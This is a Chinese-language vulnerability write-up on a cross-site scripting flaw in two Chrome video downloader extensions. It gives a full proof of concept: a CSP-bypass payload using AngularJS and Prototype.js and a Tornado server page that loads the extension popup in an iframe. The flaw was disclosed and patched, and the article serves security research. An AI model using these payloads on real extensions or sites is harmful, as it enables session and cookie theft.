Video Downloader(Plus)Chrome插件漏洞分析:绕过CSP实现UXSS

 

一、前言

在使用tarnish扫描各种Chrome插件时,我发现Video Downloader for Chrome version 5.0.0.12(820万用户)以及Video Downloader Plus(730万用户)这两款流行的Chrome插件在browser action页面中存在跨站脚本(XSS)漏洞,受害者只需要浏览攻击者控制的某个页面就可以触发漏洞。

该漏洞之所以存在,是因为插件开发者使用字符串连接方式来构建HTML,通过jQuery将HTML动态附加到DOM。攻击者可以构造一个特殊的链接,在插件的上下文中执行任意JavaScript代码。利用该漏洞,攻击者可以滥用该插件具备的权限,包含如下权限:

"permissions": [
    "alarms",
    "contextMenus",
    "privacy",
    "storage",
    "cookies",
    "tabs",
    "unlimitedStorage",
    "webNavigation",
    "webRequest",
    "webRequestBlocking",
    "http://*/*",
    "https://*/*",
    "notifications"
],

利用上述权限,攻击者可以转储浏览器所有cookie、拦截浏览器所有请求,并仿冒认证用户与所有站点进行通信。插件能做的所有事情攻击者都能做。

 

二、漏洞分析

漏洞的核心在于如下一段代码:

vd.createDownloadSection = function(videoData) {
    return '<li class="video"> 
        <a class="play-button" href="' + videoData.url + '" target="_blank"></a> 
        <div class="title" title="' + videoData.fileName + '">' + videoData.fileName + '</div> 
        <a class="download-button" href="' + videoData.url + '" data-file-name="' + videoData.fileName + videoData.extension + '">Download - ' + Math.floor(videoData.size * 100 / 1024 / 1024) / 100 + ' MB</a>
        <div class="sep"></div>
        </li>';
};

以上代码简直是教科书般的跨站脚本(XSS)漏洞代码。该插件会从攻击者控制的网页中提取视频链接,因此利用方式应该非常直接。然而,现实世界总跟教科书中的情况不一样,往往复杂得多。本文会详细分析漏洞利用过程中遇到的问题,也介绍了如何绕过这些限制。首先从我们的输入点开始分析,然后沿着这条路直达我们的终点。

利用路径

该插件使用Content Script从网页链接(<a>标签)以及视频链接(<video>标签)中收集可能存在的视频URL。Content Scripts实际上是JavaScript代码段,运行在用户在浏览器中已经访问过的网页上(在这种情况下为用户访问过的每一个页面)。以下代码片段摘抄自该扩展的Content Script代码:

vd.getVideoLinks = function(node) {
    // console.log(node);
    var videoLinks = [];
    $(node)
        .find('a')
        .each(function() {
            var link = $(this).attr('href');
            var videoType = vd.getVideoType(link);
            if (videoType) {
                videoLinks.push({
                    url: link,
                    fileName: vd.getLinkTitleFromNode($(this)),
                    extension: '.' + videoType
                });
            }
        });
    $(node)
        .find('video')
        .each(function() {
            // console.log(this);
            var nodes = [];
            // console.log($(this).attr('src'));
            $(this).attr('src') ? nodes.push($(this)) : void 0;
            // console.log(nodes);
            $(this)
                .find('source')
                .each(function() {
                    nodes.push($(this));
                });
            nodes.forEach(function(node) {
                var link = node.attr('src');
                if (!link) {
                    return;
                }
                var videoType = vd.getVideoType(link);
                videoLinks.push({
                    url: link,
                    fileName: vd.getLinkTitleFromNode(node),
                    extension: '.' + videoType
                });
            });
        });
    return videoLinks;
};

如上所示,代码会迭代处理链接及视频元素,将收集到的信息存放到videoLinks数组中然后返回。我们能控制的videoLinks元素属性为url(来自于href属性)及fileName(来自于title属性、alt属性或者节点的内部文本)。

vd.findVideoLinks函数会调用上述代码:

vd.findVideoLinks = function(node) {
    var videoLinks = [];
    switch (window.location.host) {
        case 'vimeo.com':
            vd.sendVimeoVideoLinks();
            break;
        case 'www.youtube.com':
            break;
        default:
            videoLinks = vd.getVideoLinks(node);
    }
    vd.sendVideoLinks(videoLinks);
};

当页面加载时就会调用上面这个函数:

vd.init = function() {
    vd.findVideoLinks(document.body);
};

vd.init();

提取所有链接后,插件会通过vd.sendVideoLinks函数将这些链接发送到插件的后台页面。插件后台页面声明的消息监听器如下所示:

chrome.runtime.onMessage.addListener(function(request, sender, sendResponse) {
    switch (request.message) {
        case 'add-video-links':
            if (typeof sender.tab === 'undefined') {
                break;
            }
            vd.addVideoLinks(request.videoLinks, sender.tab.id, sender.tab.url);
            break;
        case 'get-video-links':
            sendResponse(vd.getVideoLinksForTab(request.tabId));
            break;
        case 'download-video-link':
            vd.downloadVideoLink(request.url, request.fileName);
            break;
        case 'show-youtube-warning':
            vd.showYoutubeWarning();
            break;
        default:
            break;
    }
});

对我们来说,我们关注的是add-video-links这个case,由于我们的send.tab未定义(undefined),因此代码会使用前面构造的视频链接数据来调用vd.addVideoLinksaddVideoLinks的代码如下:

vd.addVideoLinks = function(videoLinks, tabId, tabUrl) {
    ...trimmed for brevity...
    videoLinks.forEach(function(videoLink) {
        // console.log(videoLink);
        videoLink.fileName = vd.getFileName(videoLink.fileName);
        vd.addVideoLinkToTab(videoLink, tabId, tabUrl);
    });
};

如上代码会检查之前是否存储了与这个tabId对应的链接,如果不满足该情况,则会创建一个新的对象来完成该操作。插件通过vd.getFileName函数来遍历每个链接中的fileName属性,该函数的代码如下:

vd.getFileName = function(str) {
    // console.log(str);
    var regex = /[A-Za-z0-9()_ -]/;
    var escapedStr = '';
    str = Array.from(str);
    str.forEach(function(char) {
        if (regex.test(char)) {
            escapedStr += char;
        }
    });
    return escapedStr;
};

该函数通过链接的fileName属性直接扼杀了我们获得DOM-XSS漏洞的希望。函数会过滤掉与[A-Za-z0-9()_ -]正则表达式不匹配的任何字母,其中就包含",而不幸的是我们可以通过该字符打破闭合的HTML属性。

因此留给我们的只有url属性,让我们继续分析。

videoLink会被发送到vd.addVideoLinkToTab函数,该函数如下所示:

vd.addVideoLinkToTab = function(videoLink, tabId, tabUrl) {
    ...trimmed for brevity...
    if (!videoLink.size) {
        console.log('Getting size from server for ' + videoLink.url);
        vd.getVideoDataFromServer(videoLink.url, function(videoData) {
            videoLink.size = videoData.size;
            vd.addVideoLinkToTabFinalStep(tabId, videoLink);
        });
    } else {
        vd.addVideoLinkToTabFinalStep(tabId, videoLink);
    }
};

该脚本会检查链接是否包含size属性。在这种情况下,由于没有设置size,因此代码会通过vd.getVideoDataFromServer来获取链接地址处的文件大小:

vd.getVideoDataFromServer = function(url, callback) {
    var request = new XMLHttpRequest();
    request.onreadystatechange = function() {
        if (request.readyState === 2) {
            callback({
                mime: this.getResponseHeader('Content-Type'),
                size: this.getResponseHeader('Content-Length')
            });
            request.abort();
        }
    };
    request.open('Get', url);
    request.send();
};

上述代码会发起XMLHTTPRequest请求来获取指定链接处文件的头部信息,然后提取其中的Content-TypeContent-Length字段。这些数据会返回给调用方,然后videoLinks元素的size属性值会被设置为Content-Length字段的值。该操作完成后,结果会传递给vd.addVideoLinkToTabFinalStep

vd.addVideoLinkToTabFinalStep = function(tabId, videoLink) {
    // console.log("Trying to add url "+ videoLink.url);
    if (!vd.isVideoLinkAlreadyAdded(
            vd.tabsData[tabId].videoLinks,
            videoLink.url
        ) &&
        videoLink.size > 1024 &&
        vd.isVideoUrl(videoLink.url)
    ) {
        vd.tabsData[tabId].videoLinks.push(videoLink);
        vd.updateExtensionIcon(tabId);
    }
};

从现在起我们会开始遇到一些问题。我们需要将URL附加到vd.tabsData[tabId].videoLinks数组中,但只有当我们通过如下限制条件时才能做到这一点:

!vd.isVideoLinkAlreadyAdded(
    vd.tabsData[tabId].videoLinks,
    videoLink.url
) &&
videoLink.size > 1024 &&
vd.isVideoUrl(videoLink.url)

vd.isVideoLinkAlreadyAdded只是一个简单的条件,判断vd.tabsData[tabId].videoLinks数组中是否已记录URL。第二个条件是判断videoLink.size是否大于1024。前面提到过,这个值来自于Content-Length头部字段。为了绕过检查条件,我们可以创建一个简单的Python Tornado服务器,然后创建一个通配路由,返回足够大的响应:

...trimmed for brevity...
def make_app():
    return tornado.web.Application([
        ...trimmed for brevity...
        (r"/.*", WildcardHandler),
    ])

...trimmed for brevity...
class WildcardHandler(tornado.web.RequestHandler):
    def get(self):
        self.set_header("Content-Type", "video/x-flv")
        self.write( ("A" * 2048 ) )
...trimmed for brevity...

由于我们使用的是通配型路由,因此无论我们构造什么链接,服务器都会返回大小> 1024的一个页面,这样就能帮我们绕过这个检查条件。

下一个检查则要求vd.isVideoUrl函数返回true,该函数代码如下所示:

vd.videoFormats = {
    mp4: {
        type: 'mp4'
    },
    flv: {
        type: 'flv'
    },
    mov: {
        type: 'mov'
    },
    webm: {
        type: 'webm'
    }
};

vd.isVideoUrl = function(url) {
    var isVideoUrl = false;
    Object.keys(vd.videoFormats).some(function(format) {
        if (url.indexOf(format) != -1) {
            isVideoUrl = true;
            return true;
        }
    });
    return isVideoUrl;
};

这个检查非常简单,只是简单地确保URL中包含mp4flvmov或者webm。只要在url载荷末尾附加一个.flv,我们就可以简单地绕过这个限制。

由于我们已经成功满足所有条件,因此我们的url会被附加到vd.tabsData[tabId].videoLinks数组中。

将目光重新转到原始的popup.js脚本,该脚本中包含前面分析的存在漏洞的核心函数,我们可以看到如下代码:

$(document).ready(function() {
    var videoList = $("#video-list");
    chrome.tabs.query({
        active: true,
        currentWindow: true
    }, function(tabs) {
        console.log(tabs);
        vd.sendMessage({
            message: 'get-video-links',
            tabId: tabs[0].id
        }, function(tabsData) {
            console.log(tabsData);
            if (tabsData.url.indexOf('youtube.com') != -1) {
                vd.sendMessage({
                    message: 'show-youtube-warning'
                });
                return
            }
            var videoLinks = tabsData.videoLinks;
            console.log(videoLinks);
            if (videoLinks.length == 0) {
                $("#no-video-found").css('display', 'block');
                videoList.css('display', 'none');
                return
            }
            $("#no-video-found").css('display', 'none');
            videoList.css('display', 'block');
            videoLinks.forEach(function(videoLink) {
                videoList.append(vd.createDownloadSection(videoLink));
            })
        });
    });
    $('body').on('click', '.download-button', function(e) {
        e.preventDefault();
        vd.sendMessage({
            message: 'download-video-link',
            url: $(this).attr('href'),
            fileName: $(this).attr('data-file-name')
        });
    });
});

当用户点击浏览器中该插件图标时就会触发上述代码。插件会利用Chrome插件API来请求当前标签页的元数据(metadata),从元数据中获取的ID,然后将get-video-links调用发送到后台页面。负责这些操作的代码为sendResponse(vd.getVideoLinksForTab(request.tabId));,该代码会返回前面我们讨论过的视频链接。

插件会遍历这些视频链接,将每个链接传递给本文开头处提到过的vd.createDownloadSection函数。该函数会通过HTML拼接操作来生成一个较大的字符串,再由jQuery的.append()函数附加到DOM中。将用户输入的原始HTML数据传到append()函数正是典型的跨站脚本(XSS)场景。

现在似乎我们可以将我们的载荷原封不动地传递到存在漏洞的函数中!然而现在想欢呼胜利还为时过早。我们还需要克服另一个困难:内容安全策略(Content Security Policy,CSP)

内容安全策略

有趣的是,该插件所对应的CSP并没有在script-src指令中包含unsafe-eval,部分信息摘抄如下:

script-src 'self' https://www.google-analytics.com https://ssl.google-analytics.com https://apis.google.com https://ajax.googleapis.com; style-src 'self' 'unsafe-inline' 'unsafe-eval'; connect-src *; object-src 'self'

从上述CSP中我们可以看到script-src指令的内容如下:

script-src 'self' https://www.google-analytics.com https://ssl.google-analytics.com https://apis.google.com https://ajax.googleapis.com

这个策略会阻止我们引用任意站点的源代码,禁止我们使用内联JavaScript声明(比如<script>alert('XSS')</script>)。我们能执行JavaScript的唯一方法就是引用如下站点的源:

  • https://www.google-analytics.com
  • https://ssl.google-analytics.com
  • https://apis.google.com
  • https://ajax.googleapis.com

当我们想绕过CSP策略时,如果看到script-src指令中同时包含https://apis.google.com以及https://ajax.googleapis.com是非常好的一件事。这些站点上托管着许多JavaScript库,也包含JSONP端点:这两者对我们绕过CSP而言都非常有用。

注意:如果我们想判断某个站点是否不适合加入CSP中,可以使用一些天才的Google员工所开发的CSP评估工具,这里特别要感谢@we1x

这里再说一些题外话,大家可以了解一下 H5SC Minichallenge 3: "Sh*t, it's CSP!"比赛,其中参赛者必须在某个页面上获得XSS利用点,而该页面只将ajax.googeapis.com加入站点白名单中。这个挑战与我们当前面临的处境非常相似。

这个挑战有多种解法,其中比较机智的解法是使用如下载荷:

"ng-app ng-csp><base href=//ajax.googleapis.com/ajax/libs/><script src=angularjs/1.0.1/angular.js></script><script src=prototype/1.7.2.0/prototype.js></script>{{$on.curry.call().alert(1337

提供该解法的参赛者提到如下一段话:

这种解法非常有趣,将Prototype.js与AngularJS结合起来就能实现滥用目标。AngularJS可以成功禁止用户使用其集成的沙盒来访问窗口,然而Prototype.JS使用了curry属性扩展了代码功能。一旦在该属性上使用call()调用,就会返回一个窗口对象,而AngularJS不会注意到这个操作。这意味着我们可以使用Prototype.JS来获取窗口,然后几乎可以执行该对象的所有方法。

在白名单中的Google-CDN站点提供了比较过时的AngularJS版本以及Prototype.JS,这样我们就能访问窗口操作所需的数据,并且不需要用户操作就能完成该任务。

修改这个载荷后,我们也可以将其用在这个扩展上。如下载荷使用了相同的技术来执行alert('XSS in Video Downloader for Chrome by mandatory')

"ng-app ng-csp><script src=https://ajax.googleapis.com/ajax/libs/angularjs/1.0.1/angular.js></script><script src=https://ajax.googleapis.com/ajax/libs/prototype/1.7.2.0/prototype.js></script>{{$on.curry.call().alert('XSS in Video Downloader for Chrome by mandatory')}}<!--

点击插件图标后,就会弹出警告窗口,如下所示:

现在我们已经可以在插件上下文中执行任意JavaScript代码,也能滥用该插件能访问的所有Chrome插件API。然而,攻击过程中我们的确需要用户在我们的恶意页面上点击插件图标。在构造利用路径时,我们最好不要将弱点暴露给别人,因此我们还是要尝试下无需用户交互的利用过程。

回到manifest.json,我们可以看到web_accessible_resources指令的值如下:

"web_accessible_resources": [
    "*"
]

这里只使用了一个通配符,意味着任意网页都可以以<iframe>方式引用插件中包含的任意资源。在这种情况下,我们需要包含的资源是popup.html页面。通常情况下,只有当用户点击插件图标时才会显示该页面。以<iframe>方式引用该页面,再配合我们之前构造的载荷后,我们就能获得无需用户交互的漏洞利用方式:

最终载荷如下所示:

<!DOCTYPE html>
<html>
<body>
    <a href="https://"ng-app ng-csp><script src=https://ajax.googleapis.com/ajax/libs/angularjs/1.0.1/angular.js></script><script src=https://ajax.googleapis.com/ajax/libs/prototype/1.7.2.0/prototype.js></script>{{$on.curry.call().alert('XSS in Video Downloader for Chrome by mandatory')}}<!--.flv">test</a>

    <iframe src="about:blank" id="poc"></iframe>

    <script>
    setTimeout(function() {
        document.getElementById( "poc" ).setAttribute( "src", "chrome-extension://dcfofgiombegngbaofkeebiipcdgpnga/html/popup.html" );
    }, 1000);
    </script>
</body>
</html>

如上代码可以分为两部分:第一部分,为当前的标签页设置videoLinks数组。第二部分,在1秒后触发利用代码,设置iframe源地址为chrome-extension://dcfofgiombegngbaofkeebiipcdgpnga/html/popup.html(即popup页面)。最终PoC代码(包含Python服务器在内的所有代码)如下所示:

import tornado.ioloop
import tornado.web

class MainHandler(tornado.web.RequestHandler):
    def get(self):
        self.write("""
<!DOCTYPE html>
<html>
<body>
    <a href="https://"ng-app ng-csp><script src=https://ajax.googleapis.com/ajax/libs/angularjs/1.0.1/angular.js></script><script src=https://ajax.googleapis.com/ajax/libs/prototype/1.7.2.0/prototype.js></script>{{$on.curry.call().alert('XSS in Video Downloader for Chrome by mandatory')}}<!--.flv">test</a>

    <iframe src="about:blank" id="poc"></iframe>

    <script>
    setTimeout(function() {
        document.getElementById( "poc" ).setAttribute( "src", "chrome-extension://dcfofgiombegngbaofkeebiipcdgpnga/html/popup.html" );
    }, 1000);
    </script>
</body>
</html>
        """)

class WildcardHandler(tornado.web.RequestHandler):
    def get(self):
        self.set_header("Content-Type", "video/x-flv")
        self.write( ("A" * 2048 ) )

def make_app():
    return tornado.web.Application([
        (r"/", MainHandler),
        (r"/.*", WildcardHandler),
    ])

if __name__ == "__main__":
    app = make_app()
    app.listen(8888)
    tornado.ioloop.IOLoop.current().start()

 

三、披露及缓解措施

由于我找不到该插件任何一名开发者的明显联系方式(Chrome插件页面上给出的联系方式非常有限),因此我联系了Google方面从事Chrome插件安全性研究的一些人。小伙伴们通知了插件开发者,及时推出了修复补丁。这两款插件的最新版都修复了本文提到的漏洞。与此同时,当使用该插件的用户自动更新插件版本后我们才发表这篇文章,因此大家应该都已打好补丁。

 

四、总结

如果大家有任何问题或者建议,可以随时联系我。如果想自己查找一些Chrome插件程序的漏洞,可以尝试使用我开发的tarnish扫描器,应该能帮大家入门(工具源代码请访问Github)。如果想了解关于Chrome插件安全性方面的简介,可以参考“Kicking the Rims – A Guide for Securely Writing and Auditing Chrome Extensions”这篇文章。

(完)